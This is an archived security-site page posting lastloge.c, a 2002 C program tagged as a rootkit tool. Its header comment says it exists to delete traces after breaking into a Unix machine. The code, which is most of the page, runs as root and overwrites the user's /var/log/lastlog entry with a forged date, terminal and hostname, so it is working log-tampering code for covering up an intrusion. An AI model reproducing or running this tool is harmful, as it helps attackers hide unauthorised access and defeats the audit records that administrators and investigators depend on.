evolve or die

lastloge.c

lastloge.c
Posted Sep 19, 2002
Authored by Danny | Site ebcvg.com

Lastlog log editor.

tags | tool, rootkit
systems | unix
MD5 | fa2f559883f9a1106bcd673ec0327caf

lastloge.c

Change Mirror Download
/*
* Lastlog log editor
*
* Useful to delete your traces when you break into a
* Unix machine, on which syslog daemon is running.
*
* Copyright (c) Danny (Dr.T) 2002
* admin@ebcvg.com, danny@any-mail.co.uk
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <lastlog.h>
#include <fcntl.h>
#include <memory.h>

static char *s_hname = NULL; /* hostname */
static char *s_tdate = NULL; /* time & date */
static char *s_term = NULL; /* s_terminal/port */

static void usage(char *argv)
{
/* print usage for LastLog editor */
printf("LastLog Editor by Danny (Dr.T)\nUsage: %s [options]", argv);
printf(" [-h hostname]");
printf(" -d date");
printf(" -t s_terminal\n");
exit(-1);
}

static void free_memory_and_exit(char *msg)
{
if (msg)
fprintf(stderr, "Error: %s\n", msg);

if (s_hname)
{
free(s_hname);
s_hname = NULL;
}
if (s_tdate)
{
free(s_tdate);
s_tdate = NULL;
}
if (s_term)
{
free(s_term);
s_term = NULL;
}

exit(-1);
}

int main(int argc, char **argv)
{
struct lastlog sll;
int c, file_hd = -1, sz_ll;

/* check if we are running as root */
if (getuid() > 0)
{
free_memory_and_exit("only root can run me!!");
}

/* check if we got seven or five (hostname omitted) arguments */
if (argc != 7 && argc != 5)
usage(argv[0]);

while ((c = getopt(argc, argv, "h:d:t:")) != -1)
{
if (optarg == NULL)
free_memory_and_exit("command line parsing failed");

switch(c)
{
case 'h':
if (strlen(optarg) > UT_HOSTSIZE - 1)
free_memory_and_exit("hostname too long");

s_hname = (char *)malloc(strlen(optarg)+1);
if (s_hname == NULL)
free_memory_and_exit("malloc() failed");
strcpy(s_hname,optarg);
break;
case 'd':
s_tdate = (char *)malloc(strlen(optarg)+1);
if (s_tdate == NULL)
{
free_memory_and_exit("malloc() failed");
}
strcpy(s_tdate,optarg);
break;
case 't':
s_term = (char *)malloc(strlen(optarg)+1);
if (s_term == NULL)
{
free_memory_and_exit("malloc() failed");
}
strcpy(s_term,optarg);
break;
default:
free_memory_and_exit("command line parsing failed");
break;
}
}

/* open lastlog file and check for errors */
file_hd = open ("/var/log/lastlog", O_RDWR);
if (file_hd < -1)
free_memory_and_exit("open() /var/log/lastlog failed");

/* get the lastlog struct size */
sz_ll = sizeof (struct lastlog);

/* set file pointer to the UID lastlog structure */
if ((lseek(file_hd, sz_ll * getuid(), SEEK_SET)) < 0)
free_memory_and_exit("lseek() failed");

/* read information about UID to sll */
if ((read(file_hd, &sll, sz_ll)) < 0)
free_memory_and_exit("read() failed");

/* set new time & date */
sll.ll_time = atoi(s_tdate);

/* set new s_terminal/port */
strncpy(sll.ll_line, s_term, sizeof(sll.ll_line));

/* set the new hostname if specified */
if (s_hname == NULL)
sll.ll_host[0] = '\0';
else
strcpy(sll.ll_host, s_hname);

/* set file pointer to the UID lastlog structure */
if ((lseek(file_hd, sz_ll * getuid(), SEEK_SET)) < 0)
free_memory_and_exit("lseek() failed");

/* write new information */
if ((write(file_hd, &sll, sz_ll)) < 0)
free_memory_and_exit("write() failed");

/* close /var/log/lastlog */
close(file_hd);
fprintf(stdout, "LastLog editor was successfully updated information\n");
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close